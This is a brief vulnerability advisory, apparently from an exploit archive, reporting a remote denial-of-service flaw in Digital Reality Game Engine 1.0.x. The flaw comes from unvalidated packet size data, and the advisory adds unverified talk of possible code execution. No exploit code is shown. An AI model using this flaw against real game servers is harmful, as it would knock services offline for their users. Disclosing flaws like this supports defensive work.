Digital Reality Game Engine 1.0.x - Remote Denial of Service

// source: https://www.securityfocus.com/bid/9736/info

It has been reported that the Digital Reality Game engine is prone to a remote denial of service vulnerability. This issue is due to a failure of the application to validate packet data size input supplied by a client.

The immediate consequences of a successful attack will cause the affected server to crash. It has been conjectured that this issue may also be leveraged to execute arbitrary code in the context of the affected application, however this has not been verified.
